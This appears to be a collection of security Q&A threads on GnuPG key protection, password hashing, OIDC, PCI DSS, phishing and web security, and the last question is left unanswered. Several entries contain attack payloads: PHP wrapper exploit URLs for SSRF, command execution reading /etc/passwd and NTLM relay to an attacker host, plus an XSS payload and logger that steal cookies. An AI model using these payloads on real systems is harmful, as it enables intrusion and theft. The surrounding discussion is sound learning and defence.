s2k-digest-algo and s2k-count have impact on the time spent on hashing while trying to crack the passphrase. The default SHA-1 has some known weaknesses and is considered outdated, so choose some algorithm of the SHA-2 suite. While writing this answer, 65011712 repetitions and SHA512 resulted in each decryption operation taking a notable delay but far below a second on my mobile Core i7; if the decrypted key is cached in gpg-agent anyway probably something one could live with.

I'm not aware of a discussion of reasonable defaults here, usually the recommendation is to make hashing as expensive as you can accept.

  I don't care about slow arm processors. I would rather wait 100 milliseconds longer, and have my passphrase iterated 65011712 times.

If you really don't mind, the "heavy-duty" configuration will be

s2k-mode 3              # default anyway
s2k-cipher-algo AES256
s2k-digest-algo SHA512
s2k-count 65011712

For a still-totally-fine, but faster configuration reduce the computation effort for hashing by using a smaller value for s2k-count or SHA256. AES128 as cypher is fine, but does not result in a notable faster computation.

Using those Defaults for Private Key Encryption

TL;DR: You need to trigger saving the key again (for example by changing the passphrase), as exporting just dumps from hard disk. GnuPG 2.1 (modern) is affected by a bug.

The longer version:

You have to discriminate between several uses of digest algorithms in OpenPGP/GnuPG.

OpenPGP Fingerprints

For calculating fingerprints, OpenPGP requires keys to be hashed using SHA1, as you can read up in RFC 4880, Section 12.2, Key IDs and Fingerprints:

  A V4 fingerprint is the 160-bit SHA-1 hash of the octet 0x99,
     followed by the two-octet packet length, followed by the entire
     Public-Key packet starting with the version field.

There is no choice or possibility to configure this. We will observe this again further down.

Modification Detection Code Packet

The Modification Detection Code Packet also uses an SHA-1 hash to protect encrypted messages from being manipulated, no choice is left for configuration. This is not really relevant for the further discussion, I just mentioned it for completeness.

Symmetrically Encrypted Session Key and Data Packages

These package are used both in "normal" OpenPGP messages encrypted for a public key, where they again contain the literal data package and for messages encrypted with a passphrase.

In the first case, the symmetric key is encrypted using an asymmetric algorithm like RSA, no passphrase (or hashing of such one) is involved.

It can also be used to encrypt a message symmetrically based on a passphrase, for example using gpg --symmetric, which will ask for a passphrase and encrypt from STDIN. The pgpdump (a tool similar to `gpg --list-packets, but sometimes providing more suitable output) output of such a message looks like

$ echo "foo" | gpg --passphrase "bar" --symmetric | pgpdump
Old: Symmetric-Key Encrypted Session Key Packet(tag 3)(13 bytes)
    New version(4)
    Sym alg - CAST5(sym 3)
    Iterated and salted string-to-key(s2k 3):
        Hash alg - SHA1(hash 2)
        Salt - 1d cd 72 c8 c3 30 df 84
        Count - 65536(coded count 96)
New: Symmetrically Encrypted Data Packet(tag 9)(26 bytes)
    Encrypted data [sym alg is specified in sym-key encrypted session key]

Observe the settings for the string-to-key procedure: the digest algorithm (SHA1 as default), and the mangle count. These can be configured using --s2k-digest-algo and --s2k-count. Lets see what happens if we set those to SHA512 and the maximum of 65011712:

$ echo "foo" | gpg --passphrase "bar" --s2k-digest-algo SHA512 --s2k-count 65011712 --symmetric | pgpdump
Old: Symmetric-Key Encrypted Session Key Packet(tag 3)(13 bytes)
    New version(4)
    Sym alg - CAST5(sym 3)
    Iterated and salted string-to-key(s2k 3):
        Hash alg - SHA512(hash 10)
        Salt - ea 62 a1 ff 0b 2b f6 6a
        Count - 65011712(coded count 255)
New: Symmetrically Encrypted Data Packet(tag 9)(26 bytes)
    Encrypted data [sym alg is specified in sym-key encrypted session key]

We successfully changed the passphrase mangling options using the --s2k-... options.

Passphrase Protected Exported Secret Keys

Now, let's get to one more use of the string-to-key procedure, encrypting exported secret keys. RFC 4880, 5.5.3.  Secret-Key Packet Formats indicates the same string-to-key procedure should be in use, but indeed, --s2k-digest-option and --s2k-count have no effect any more:

$ gpg --s2k-digest-algo SHA512 --s2k-count 65011712 --export-secret-subkeys 0xDEADBEEF | pgpdump
[snip]
Old: Secret Subkey Packet(tag 7)(510 bytes)
    Ver 4 - new
    Public key creation time - Mon Jun  1 16:06:06 CEST 2015
    Pub alg - RSA Encrypt or Sign(pub 1)
    RSA n(1024 bits) - ...
    RSA e(17 bits) - ...
    Sym alg - CAST5(sym 3)
    Iterated and salted string-to-key(s2k 3):
        Hash alg - SHA1(hash 2)
        Salt - ab 7d c8 36 6a 67 4d dd
        Count - 65536(coded count 96)
    IV - e9 76 d3 c4 b0 de 24 3c
    Encrypted RSA d
    Encrypted RSA p
    Encrypted RSA q
    Encrypted RSA u
    Encrypted SHA1 hash
[snip]

This actually puzzled me for quite a while.

The solution was rather easy, though: gpg --export simply exports the key from the secring.gpg as-is. Setting the option for gpg --edit-key (through parameters or the gpg.conf file) and subsequently changing the passphrase using passwd triggers writing the encrypted key to the secring.gpg again -- and voilà, the key is encrypted as we wanted it to be, we don't even have to set the --s2k-... options during export any more:

$ gpg --export-secret-subkeys 0xDEADBEEF | pgpdump
[snip]
Old: Secret Subkey Packet(tag 7)(510 bytes)
    Ver 4 - new
    Public key creation time - Mon Jun  1 16:06:06 CEST 2015
    Pub alg - RSA Encrypt or Sign(pub 1)
    RSA n(1024 bits) - ...
    RSA e(17 bits) - ...
    Sym alg - CAST5(sym 3)
    Iterated and salted string-to-key(s2k 3):
        Hash alg - SHA512(hash 10)
        Salt - e1 82 c3 9f 07 74 7f 0c
        Count - 65011712(coded count 255)
    IV - 97 20 69 ae 8d ec 0d 3c
    Encrypted RSA d
    Encrypted RSA p
    Encrypted RSA q
    Encrypted RSA u
    Encrypted SHA1 hash
[snip]

GnuPG 2.1 (modern)

As of 2015-06-01, GnuPG 2.1 ("modern" branch) is affected from a bug (GnuPG Issue #1800): here, the gpg-agent takes care of all those operations, but does not care about the --s2k-... options at all. This should be resolved soon, as the bug was already marked as urgent by Werner Koch, GnuPG's main developer.


Is password dependent iteration count a good practice? I consider the possibility of improving password security by increasing the hashing iteration count for short passwords.

The security benefits I see of this practice are:

Short passwords are better protected by making brute force more expensive.
Users are incentivized to use longer passwords.

Is this a good security practice?

Is this an already established practice with an official name?

The system I'd like to use this in already has a plugin architecture for password hashers, it does not have any centralized way to enforce a password policy and I might not have the mandate to enforce a password policy.

I have considered possible drawbacks of this approach and for each potential drawback I could think of I found reasons why it isn't a problem.

Potential leak of password length: Since the password database only stores the minimum iteration count used for longer passwords and the effective iteration count is calculated on the fly, the database cannot leak any information about password length. Timing attacks aimed at deducing the password length will not work either. An attacker attempting to brute force passwords will see the time it takes to validate a password vary depending on the length of the password the attacker attempts not the user's actual password. That means there is no way an attacker performing such an attack would learn the length of the user's password.

Potential DoS attacks: The increase in CPU consumption to validate passwords could be a DoS attack vector. But this attack vector already exists even when the iteration count is a fixed number high enough to match common recommendations. And the way to defend against this kind of DoS attack is to rate limit password attempts per client IP range. This defense against that class of DoS attacks will still work assuming one apply a minor tweak to adjust the permitted rate according to CPU consumption.

User experience: The slowdown in login could be argued to be bad user experience. I'd rather phrase it as incentivizing users to use longer passwords and call it a feature. At login time I could let users know that they can get faster logins by using a longer password. In particular if this could be a widespread practice it may give users the expectancy that longer passwords are faster, which would be a win to everybody.

From my considerations this far I have only found advantages to this idea. But I understand that there may be drawbacks which I may have missed. Are there reasons why one should not make iteration count higher for short passwords?

In order to avoid any ambiguity of what the idea I have in mind is, I have written an implementation of this idea in the Django framework. The only functional difference between the builtin PBKDF2PasswordHasher and my modification is these two lines:

    if len(password) < recommended_length:
        iterations *= progression_factor**(recommended_length-len(password))

The full implementation looks like this:

import base64
import hashlib

from django.contrib.auth.hashers import PBKDF2PasswordHasher
from django.utils.crypto import pbkdf2

def progressive_pbkdf2(password, salt, iterations, digest,
                       recommended_length, progression_factor):
    if len(password) < recommended_length:
        iterations *= progression_factor**(recommended_length-len(password))
    return pbkdf2(password, salt, iterations, digest=digest)

class ProgressivePBKDF2PasswordHasher(PBKDF2PasswordHasher):
    algorithm = "progressive_10_2_pbkdf2_sha256"

    def encode(self, password, salt, iterations=None):
        assert password is not None
        assert salt and '$' not in salt
        if not iterations:
            iterations = self.iterations
        hash = progressive_pbkdf2(
            password, salt, iterations, digest=self.digest,
            recommended_length=10, progression_factor=2)
        hash = base64.b64encode(hash).decode('ascii').strip()
        return "%s$%d$%s$%s" % (self.algorithm, iterations, salt, hash)

You're trying to fix a human issue with a technical solution. And tbh, I fail to see how your increase in iterations will "incentivize users to use longer passwords" even with your suggestion that users would "feel" the difference in speed in longer vs. shorter passwords. Bumping iterations will not be noticeable to a user unless you set it to a ridiculous value.

So what kind of numbers are we actually talking about when you would implement iterations *= progression_factor**(recommended_length-len(password))? Tens of thousands? Hundreds of thousands? Millions? Billions? And how would you educate your users, that the experienced login slowdown is due to their shitty password instead of your perceived incompetence to code a performant site?

I mean, sure you can implement all your ideas but in the end, a weak password is a weak password - no matter how often you iterate the PBKDF. If your users are using 123456, correct horse battery staple, Spring2019!, 10inchcock, or similarly easy to guess/common passwords, all your endeavors will be in vain anyway.

My suggestion would be to educate your users to use stronger passwords/passphrases and incentivize them to adopt basic password hygiene, and not use common patterns like seasons, pet names, loved ones, DoB, etc.


Can string concatenation in file_get_contents() be exploited in PHP? Let's say I have the following PHP code:
<?php
    echo file_get_contents($_GET['path'] . ".txt");

Obviously, it's insecure as path traversal is possible when passing e.g. ../../file as a GET parameter.
But is there any way for an attacker to retrieve contents of a file that doesn't end with .txt as Null byte related issues like \0 seem to be have been fixed in PHP5.3?

Per the comment above you could use path truncation on an older version of PHP, however, as there is no data before the attacker controlled data you can use wrappers (https://www.php.net/manual/en/wrappers.php). This means the vulnerability is not just a directory traversal, but can be used for a number of attacks, including SSRF and remote code execution. Here are a few examples:

Server side request forgery:
https://example/file.php?path=http://internalsystem/path/file?junk=

RCE via expect:
https://example/file.php?path=expect://cat /etc/passwd;echo

RCE via phar:
https://example/file.php?path=phar://tmp/uploadedfile
(needs a .txt extension on the uploaded file)

RCE via NTLM relay (if its a windows box)
https://example/file.php?path=\\attackerip\nonexitentfile
You'll need to set up tooling for this, such as responder (https://github.com/lgandx/Responder)

Depending on the application you may also be able to use the ftp:// and ssh:// wrappers to run commands or access other files on the server.
Hope this helps, and good luck


How can an email sender include his PGP key, so I can answer with an encrypted mail? Let's say I were to post my e-mail address and public PGP key to my website. When a client contacts me, they would have to include their PGP public key in the e-mail so that I can respond to them in encrypted PGP format, am I correct? Or is there some other way to reply to them without them having to include their PGP public key in the email?

If the correspondent's key is posted to a public key server, e.g. pgp.mit.edu, your email client can probably find it.  If not, the correspondent has to to supply it.  Read carefully the answer by fgrieu concerning trusting keys supplied in message from another.  It's not safe.

(You should consider posting your public key on a key server, too, and read about PGP/GPG key signing: https://www.google.com/search?q=pgp+key+signing because a signed key is less susceptible to attacks that replace your key with another's.)


OIDC Flow for SPA and RESTful API I'm building a Single-Page App (SPA) and a RESTful API. The API needs security - certain users can only make calls to certain endpoints. I have an external Identity Provider (IdP (Okta)) that I want the user to authenticate with using the OpenId Connect protocol. I'm trying to clarify the correct steps for authentication and authorization of the SPA to the RESTful API. The two flows I've been looking at are the Authorization code flow and the Implicit flow.

If I was to go with Implicit flow, then the steps would be:

The user visits the SPA, which redirects the user to the IdP to sign-in.
After the user signs in, the IdP returns the user to the SPA with an access token and ID token.
(This is the step I'm unsure about) Each time the SPA makes a request to the RESTful API, it passes the access token and ID token along with the request, which the RESTful API validates and then checks the user has authority to access the particular endpoint. If it does it returns the result, otherwise the user is unauthorized.

If I was to go with the Authorization Code flow, then the steps would be:

Same as above step 1.
After the user signs in, the IdP returns the user to the SPA with an authorisation code.
(Again, the step I'm unsure is correct) Each time the SPA makes a request to the RESTful API, it passes the authorization code along with the request, which the RESTful API then exchanges (along with a client secret) with the IdP for an access token and ID token. It uses these to check if the user can access the particular endpoint. If it does it returns the result, otherwise they're unauthorized.

I think the implicit flow is the one to use in this scenario, but do I have the steps correct? Particularly step 3, sending two tokens in every request, doesn't seem right. But I think I need both tokens to validate and determine the user. Help appreciated!

Here is the difference between Implicit Flow and AuthCode Flow:

Implicit Flow

NOTE: As of April 2019, the Oauth Working Group no longer recommends the use of Implicit Flow for most cases because there are better, more secure ways to accomplish the same things.

User navigates to SPA, which redirects user to IdP to sign in.
User signs in (and authorizes the application, if needed).
IdP returns user to SPA with Access Token and ID Token.
JavaScript code in SPA stores the Access Token and ID Token in the browser's localStorage and sends the Access Token to the REST API server for every request it makes (usually as an Authorization: Bearer <access token> header).
If needed, REST API Server checks the validity of the Access Token by talking to the IdP. (Often, signing the token in the IdP and verifying that signature will be enough, and no communication is actually necessary.)

Authorization Code Flow

User navigates to SPA, which redirects user to IdP to sign in.
User signs in (and authorizes the application, if needed).
IdP returns user to SPA with Authorization Code.
JavaScript code in SPA sends the Authorization Code to a login endpoint on the REST API Server.
The REST API Server sends a request to the IdP Server containing the Authorization Code (and usually also a Client ID and Client Secret which identify the REST API Server to the IdP server).
The IdP validates the Authorization Code and sends the Access Token and ID Token to the REST API Server.
The REST API Server stores the Access Token and ID Token in its memory, and sends its own Session Token back to the SPA.
For every request the SPA makes to the REST API Server, it includes the Session Token which the REST API Server gave it. If the REST API Server needs to request resources from another server, it uses the stored Access Token to make that request.

You can see from here that the AuthCode flow is significantly more complicated than the Implicit flow, but with the benefit that the Access Token is never stored in the user's control.

However, the main point of storing the token in this case is not for your own authentication, but for the case where the REST API Server needs to talk to other services, such as Google, Facebook, Twitter, etc.

If you are only using OpenID Connect for logging into your own REST API Server, but then the credentials never need to be used by the server itself, implementing Implicit Flow is significantly easier, and implementing AuthCode flow doesn't actually gain you anything.


PCI DSS 3.0 - Is restricting SSH and/or RDP outbound required? This question comes up a lot as I do evaluations for different customers.  I currently recommend the following:

All outbound SSH & RDP blocked by default from user network (non-CDE)
All outbound SSH & RDP blocked by default from production network (non-CDE)
All outbound SSH & RDP blocked by default from Card Data Environment (CDE)
All outbound SSH & RDP for business requires change control ticket and exception ticket

I cite PCI DSS 3.0 section 1.2.1 as justification.  However, it is not explicitly stated that this is required. I get further pushback that this is too far reaching.

Reasons for requirement in my findings:

SSH allows outbound connect from pivot hosts secure communications, especially when connected to production
Disabling should be part of a DLP protection strategy
Follows principals of deny-all for greater protections
Prevents moonlighting to other customers/clients while on this companies time

But is there any explicit requirements, that can be articulated, that PCI DSS requires this model?

You could isolate the user network and production network completely from the CDE, such as so a total compromise of the non-CDE enviroment cannot in any way compromise, reduce the security, or in some other way, affect the CDE enviroment.

If you do that, then the user network and production network would be considered out of scope of PCI.

However, its good computer hygiene to still block SSH/RDP outgoing default to prevent malware from "phoning home". But by isolating the CDE from the non-CDE enviroment to gain out-of-scope for user network and production network, then you dont need to have any "strict" procedures for opening ports. Eg, you do not need to follow PCI-DSS procedures for opening ports on the non-CDE part of network.

Then you can have SSH/RDP closed, but those that need SSH/RDP for business simply need to phone call and have the port opened in front of them.

Thus you Place the CDE with its own firewall, on one public WAN internet Connection, and the user network/production network, on a Another WAN Connection with its own firewall. This will make the CDE network and user/production network, to be completely separate.

No part of the user or production network may be authorized to pass the CDE firewall, Everything Before CDE firewall should be treated as WAN when talking about PCI-DSS compliance.

Note that the CDE Firewall also needs to be put inside the physical bounds of the CDE PCI-DSS enviroment aswell, so the CDE firewall itself gains the same physical security as the CDE enviroment.

Note that the "moonlighting" part is not something defined by PCI-DSS. PCI-DSS is about protecting your customers, not yourself. By gaining out-of-scope for your user-network and production-network, you do not need to care about protecting your customers when fiddling with the user-network and production-network, you only need to care about yourself.

Thus, if you then want to have "moonlighting" protection, its up to the Company. They dont need to Think a smallest bit about PCI-DSS when fiddling with user/production network if the CDE enviroment is properly segmented.


Can a SMS recipient charge any arbitrary fee to the sender without approval? I received an email from a prospective "client" in broken English.  We have been going back and forth about services for a while and he wants me to text him.  Is it possible for him to charge me some scam fee if I text him or otherwise do something unauthorized?

Yes, it is possible. There are pay-numbers for sms and calling and if you happen to call to that number or send sms, you are charged with extra than usual call/sms. Often these numbers are used for charity by phone or call-centers and users are informed about rates of these calls. However, they can be used for malicious intent.

To avoid it:
1) Don't call or send sms to numbers you don't know. Usually these numbers are different in format from standard numbers, usually start with 900. See here - http://en.wikipedia.org/wiki/Premium-rate_telephone_number
2) Some phone providers allow clients to block premium-rate phone calls, so that when you actually try to make call/sms, it fails.

On side note, also there are some services that allow users to subscribe, so that they receive something every week or even every day (funny pictures, ringtones..). There have been cases when that is not stated clearly and users are tricked in to subscribe and don't notice that they are paying regularly for services that they didn't intend to use.


Purpose for "One Time Use Token" I'm connecting a Salesforce ORG with a third party vender through a custom API (they basically wrote it just for us).  The API requires you to retrieve a "token" that you pass into other calls through BASIC Authorization.

I was caching this token but would run into an error on the second time I tried to use it.  As it turns out, this token can only passed into an API call ONCE.  The next API call need to retrieve its own token. Basically this results in two API calls for every one API operation. Salesforce limits the number of callouts you can make per execution context, so this is really not ideal.

I'm wondering if there is any logical reason for doing it this way?  Wouldn't just using BASIC Authorization in each operation be just as secure (or un-secure)?

Generally, one time use tokens are used to mitigate replay attacks and to make it harder to steal authentication information.  They have other uses in protocol design for multi-tentant and multi-user systems.  I am going to assume those don't apply because you said this was a custom API built just for you.

If you are calling the API over the web using SSL/TLS then TLS/SSL already provides mitigation against replay.  It also provides encryption to help mitigate someone stealing your authentication information.  I would say they have over-designed the security in the API. However real security is about layers and adding another layer makes it more secure. How much more secure versus the cost of the second call is debatable.  You might suggest they issue you a time limited token vs a one time token.

That being said there is no limit to the number of Apex callouts from Salesforce.  There is only a limit to the number of callouts per transaction.  See here and here


How do key pairs work especially in the context of cryptographic signatures? Is it the case that any message encrypted with a private key can be decrypted with its matching public key and any message encrypted with a public key can be decrypted with the matching private key assuming the same methods are used (RSA vs DSA vs ECDSA)? If that is the case then a digital signature is just another message regarding the message that was signed (even if it's just a hash of it). As long as matching sets of keys (i.e. the infamous key pair) are used you can use either one to encrypt and the opposite one to decrypt. Is it really that simple?

OK, So here is the context. I know that if I want to send an ecrypted and signed message to someone else, that I need to use two keys -- my private key for the signature and the recipient's public key to encrypt the message. And in the case of RSA I know how that sequence happens (with only the symmetric key being encrypted with the recipient's public key). What seems implied is that the message digest which is encrypted with the sender's private key is then decrypted with the sender's public key in order to compare digests and verify the signature and thus the message. So it seems that messages encrypted with a user's private key could be decrypted with their public key. I know that messages aren't normally sent that way (the recipient's public key is used) but it seems a message could be encrypted with a private key though I don't know why anyone would do that (stupidly insecure). Am I correct?

As long as matching sets of keys (i.e. the infamous key pair) are used you can use either one to encrypt and the opposite one to decrypt.

No, because encryption with a private key and signing with a public key is neither defined nor secure for RSA. For schemes like ECDSA you cannot even directly encrypt.

  And in the case of RSA I know how that sequence happens.

Really? I would say that it is up to the protocol to define how "the sequence" happens. There are discussions about sign-then-encrypt and encrypt-then-sign too.

  What seems implied is that the message digest which is encrypted with the sender's private key is then decrypted with the sender's public key ...

No, you should not think of signature verification as decryption, not even for RSA. In RSA, there are different padding schemes. Only "textbook RSA" is similar - in other words, both rely on modular exponentiation.

  So it seems that messages encrypted with a user's private key could be decrypted with their public key.

Well, yes, but only for textbook RSA, which is completely insecure.

In general, you should never use the private key to encrypt. Encryption is to keep information confidential, if anyone can decrypt with the public key, then the scheme doesn't make any sense.


Any non alert() based non malicious XSS payloads? I have been trying to find non malicious, non alert based, single command reflective XSS payloads, and have so far seen none. Anybody know of any good ones for pentesting purposes? What I mean by single line is a non alert or popup based version of javascript:alert(1); that can demonstrate reflective XSS


Protecting from console attacks I am creating a web-app using PHP and jQuery Ajax for my client-side. When I was testing some security stuff, I thought of inserting a malicious user account with admin access in the database by executing an Ajax call from the developer's console in Google Chrome:

$.ajax({
    url: base_url + "callbacks/AccountSettingsCallback/addUpdateAccount",
    type: "POST",
    data: {
        "addUpdateAccount": 1,
        "id": ""
        "first_name": "hack",
        "last_name: "hack",
        "username": "gethack",
        "password": "1234",
        "account_type": 1
    },
    dataType: "JSON",
    success: function(data) {
        console.log("get hacked")
    }
});

To my surprise, it was actually executed and the data has been inserted into the database, even though I was not logged in and should not have been able to do that!

I know that this is a very critical vulnerability, so my question is, what are the ways to prevent this kind of attack? Is there anyway to check via PHP wheather the request came from the console?

No, you can not tell if a request came from the console, because when you have a client-server application, client and server are black boxes to each other. A request could come from the javascript running in the browser, the browser console, a telnet client, a handmade program, or a bunch of monkeys typing random characters on keyboards directly connected to an Ethernet cable. There is no way to tell one from the other.

So when you handle requests on the server, make sure that every request handler checks authentication. This includes handlers for ajax web services. Just because the average user should not notice that they exist does not mean nobody will find them. So your script which is listening to the endpoint callbacks/AccountSettingsCallback/addUpdateAccount needs to check the user's session cookie (or what other mechanism you use for tracking user sessions), check if the user has the required permission to execute that operation and that the data passed to the operation is plausible. Additionally, you should implement adequate measures against cross-site request forgeries so owners of other websites can not build web applications which cause the user to call ajax webservices on your site.


Unable to steal cookie in my reflected XSS vulnerable app I am trying to learn about XSS so in order to that I have made a web app vulnerable to reflected XSS. I am trying to steal the user's cookies, so if I write the following the cookie value is displayed:

http://localhost/lab1/php/login.php?message=<script>alert(document.cookie);</script>

I want to send the cookie value to the following PHP script (getcookies.php) in my localhost:

<?php
$file = 'cookies_list.txt';
$stringPrint = 'Time ' . date("Y/m/d - h:i:sa") . ' Origin IP: ' . $_SERVER['REMOTE_ADDR'] . '  Cookie: ' . $_GET["c"] .  PHP_EOL;
file_put_contents($file, $stringPrint, FILE_APPEND | LOCK_EX);
?>

When I write in the browser's URL this, the PHP script gets the 'test' value of c param.

http://localhost/getcookies.php?c=test

Instead when I write this, the PHP script does not get any value.

http://localhost/lab1/php/login.php?message=<script>document.location.href='http://localhost/getcookies.php?c='+document.cookie;</script>

Could somebody tell me why it doesn't work?

Update:

I can also execute this payloads:

message=<script>document.body.innerHTML = '';</script>
message=<script>document.write("hi");</script>

The cookies are not HttpOnly.
No, the GET request is not sent to the server.

I have seen in Firebug that the GET request's sent payload was the following:

%3Cscript%3Edocument.location.href=%27http://localhost/getcookies.php?c=%27+document.cookie;%3C/script%3E

So the + character was not being URL encoding. I have encoded it: %2B resulting the payload the following:

%3Cscript%3Edocument.location.href=%27http://localhost/getcookies.php?c=%27%2Bdocument.cookie;%3C/script%3E


Side Channel Attack Query People Generally spoof their IP address by using any other device's ip address such as printer, scanner. My question is in this kind of particular attack why we are using these devices rather than traditional ones such as desktop computers, laptops.

I predicted that It is because generally scanners, printers and all these kind of devices remain silent then those ones. Just make me correct is my predication is correct ?

And is there anyway that we can build our custom silent device somewhere else on other network and then we spoof our IP address by using side channel attack to determine whether the port is opened at our desired server or not !?

And also want to know that how to predict IPID in side channel attack when we are receiving RST from zombie( the device who's IP we are going to spoof). General packet will be in form of like this

RST:IPID=3020 or any number.

Thank you.

A side channel attack is a classification of attacks and not specific to any one exploit.  Therefore referring to a "side channel attack" could mean any number of threats.  The only side channel attack that I know of involving printers is an acoustic side channel attack.

It is impossible for an attacker to spoof their IP address over the open internet due to the three way handshake:

I don't believe there is any side channel attack involving ip address spoofing...  These two attack patterns are fundamentally disjoint because the network is one channel,  so what is the "side channel" in a spoofing attack?

In terms of local network attacks,  there is the pwnplug.  It is also possible to hack printers and other network hardware using CSRF and this could provide a beachhead into a network.


How to legally blog about Windows internals In the field of malware analysis and reverse engineering, many job postings call for familiarity with the PE file format, Windows internals, etc. However, Microsoft presumably doesn't want people reversing DLLs and other closed-source binaries.

As someone who may eventually seek an entry level job in this area, I think that my primary way to demonstrate this knowledge is through blog posts, but that seems risky. Would it be better to just disassemble ELF binaries and such, while making vague references in the blog to the analogous Windows constructs?

I know this isn't the place for actual legal advice, but some people here must have experience with how to safely demonstrate their knowledge of proprietary software. I don't think my question is specific enough for legal experts.

Windows is actually quite open about how their operating system constructs work together in the overall system.  In fact there are multiple books written to become familiar with Windows Internals, Windows system programming, and even kernel driver development.  Companies who develop products for Windows need to understand these aspects of the system so it is completely legal for you to learn about these systems.

Windows Internals (Part 1)

Windows Internals (Part 2)

Windows System Programming

A Guide to Kernel Exploitation

After researching and reading on the topic you could then proceed with your blog.  You could also code up your own simple Windows program/DLL, and analyze that within your blog.  You'd be able to use and explore different techniques in a legal manner since you have no EULA with yourself.

That's the approach I would take.


Does pre-shared "secret" part of salt stored in ProtonMail client make SRP auth sequence any safer? Looking for an encrypted mail provider I checked ProtonMail and asked them why do they use “semi-random password salts (one random part, one non-random part)” compared to SRP 6a fully random salt. Got this answer:

  The advantage is that in the event another service’s password database is compromised, and the user used the same password on ProtonMail and this compromised third-party service (don’t do this!), and that service uses the same hash algorithm we do, the attacker would not be able to impersonate the ProtonMail server in the SRP auth sequence, because ProtonMail clients know that the salt begins with a non-random sequence and check this, whereas the salt stolen from 3rd party service would not.

Now given that the client is Open Source, what is the point of this? They didn't answer this one. I haven't read the source, so I don't know how it's implemented, but does anybody know how it could enhance auth security?

The point is not that the non-random part of the salt is secret (it's not). The point is that it's non-random. So in the scenario described above, if in the remote chance that a compatible password hash for a user were stolen from a third-party website, and the user used the same password for this website and ProtonMail, the attacker could not impersonate the ProtonMail server in the SRP sequence because the salt would likely not have the specific non-random sequence in it and therefore it would be rejected by the client.


Transmission of messages I am currently developing a game which will be run in a client, they will sign up for this game online and create their account there, their information will be stored into a MySQL database. I am creating the game using Lua + Love2D, upon launch of the game the user will be presented with a login and password field. The process will go as follows:

User submits their data
Client sends their username to the server requesting their password salt
Client receives salt from server and appends it to their input
Client hashes appended password a certain amount of times using SHA256
Client sends final hash to server
Server checks it's the correct hash
Client receives 'true' or 'false' depending if it's the correct password

Now my question is, I hear that someone can easily intercept this data, and get their username, salt, and password hash, then basically send this information to the server somehow getting them authentication to that persons accounts. How can I prevent this from happening? Can I use something like an authentication key? If so, can you explain how that would work?

Yes you are right, someone could intercept the communications and log in as the user, also you are doing a lot of extra unnecessary work on the client. Here is the steps I would do

User submits their data
Client establishes a secure link to the server (SSL or similar)
Client sends their username and password over the secure link to the server.
The server looks up the username in the database and retrieves the salt, the iteration count, and the hashed password
The server runs the sent password, the looked up salt, and the looked up iteration count through a proper password derivation function like bcrypt or pbkdf2
The server compares the output of the previous function to the hashed password it looked up

(optional) If the password was correct, the server checks to see if you have raised the minimum iteration count for the server, if the user's account is below the minimum the server will run the password through again at the new iteration count level with a new salt and record the new hash, the new count, and the new salt in the database.

Client receives 'true' or 'false' over the secure link depending if it's the correct password


What if the Google account login screen is spoofed I am talking about the apps that allow using my google account for login. Nothing against Postman, just using its login screen for example -

My concern is that an app could be spoofing this whole screen to steal my credentials. Is 2FA/MFA good protection in this case? Is there any way to tell if this screen is not spoofed?

It's called phishing, and no, 2FA doesn't prevent it in most cases (but you should still use 2FA). This sort of attack is why people recommend to always look at the browser's address bar before typing in a password (though that's had its own issues). When logging in through a local application though, you just have to trust that application to not steal your password. If you don't trust it, don't run it.

The only type of 2FA I'm aware of that can prevent this sort of attack is Webauthn and U2F, but this is only applicable when logging in through a trusted web browser. With a local application, all bets are off.


Is a local account on windows more secure than a microsoft account I am using a local account on my Windows 8 computers rather than logging in with a Microsoft account. I see no reason why  Microsoft needs to know my login credentials; it feels intrusive to me and it seems like a one more doorway from which I need to protect.

But besides from feels and seems, is a local account actually more secure (whether from hackers or from government agencies) ? Does Microsoft actually have a copy of my keys?

Microsoft's stated reasons are centered strictly around convenience, not security.  They make no claims one way or another whether one type of account is "more secure" than another.

I think you need to be more clear what sort of vulnerabilities and threats you are concerned about.  If it's Microsoft having a backdoor, then you would be closing that loop by changing to a local account.  If you fear losing your data if your computer is stolen, then you might appreciate the continual backups of their OneDrive service; you might also be concerned about the ability of an offline attacker having the opportunity to try to crack your password.  Both are security issues and vulnerabilities, and both are valid concerns from differing points of view.  You have to decide what's right for you.


Strange jagged lines and dissapearing browsing history in Internet Explorer 6 A while back, the following occurred. The PC is a Dell Inpsirion, running Windows 7. The browser was IE6. The network router was Linksys though the PC was wired to it. The router was secured.

Prior to the curious occurance, the browser history was reviewed. It contained numerous entries for Craigslist. During a browsing session a day after the history was reviewed the history dropdown would expand and the screen in this space showed jagged dancing lines. Then the history would return to it's normal, collapsed state. This process occurred many times.

The next day, the browser history was again reviewed. This time, there were no Craigslist entries.

My questions:

What is the likelihood that this was random?
Assuming a black hat actor, what skills would be required to delete specific browser history, from a remote location?
What, if any, security information would the black hat need, assuming assistance from inside the network?

Taking in to account that you would have to manually install IE6(not sure you could, not going to try) , this is your only question I can see in Stack Exchange, and that jagged dancing lines are present, the KISS rule states this is probably:

1: Out-dated or non-existent display drivers.  I am willing to bet that you do not have the most recent display drivers for your integrated or dedicated display device.  This may help you.  The Jagged lines sound like font smoothing gone wrong - because your driver doesn't know how to properly handle this.

2: Out-dated patches on your Internet Browser.  If, for some reason you absolutely need to use IE6 (you shouldn't), you probably aren't using the most recent version of it.

3: You've forgotten that you have a tool set up to clear history. It's possible you run CCleaner or have a setting up to delete history automatically.

--

If there is a real threat on your PC, it could be any number of items - your IE would be so very outdated, that you can be dealing with threats that existed in 2001 - luckily there should be a signature available for that, use AV.  I would suggest you upgrade your browser.

TL;DR - direct answers.

1: Very.  99.99% random.  You could have up to 15 years of attacks on your browser.

2:  Minimal.  You're using something so old, no one would even pay for the tools to perform the really vital step of "Deleting Browser History".

3:  The user is pretty exposed to threats due to the patch state of IE6, so he'd need 0 "insider" access.

Super TL;DR

Patch.


Understanding SOP in multiple tabs I am reading another answer on this website.

It says:

  Assume you are logged into Facebook and visit a malicious website in
  another browser tab. Without the same origin policy JavaScript on that
  website could do anything to your Facebook account that you are
  allowed to do. For example read private messages, post status updates,
  analyse the HTML DOM-tree after you entered your password before
  submitting the form.

I'm not able to understand how can the malicious domain access facebook account from a different tab and how does SOP protect against this?

The malicious domain is free to send a GET/POST request to facebook.com, and the browser will attach a cookie for facebook if available. But then wouldn't the problem be due to facebook's server side protection (CSRF scenario)? How does SOP help in this case?

I'm not able to understand how can the malicious domain access facebook account from a different tab and how does SOP protect against this?

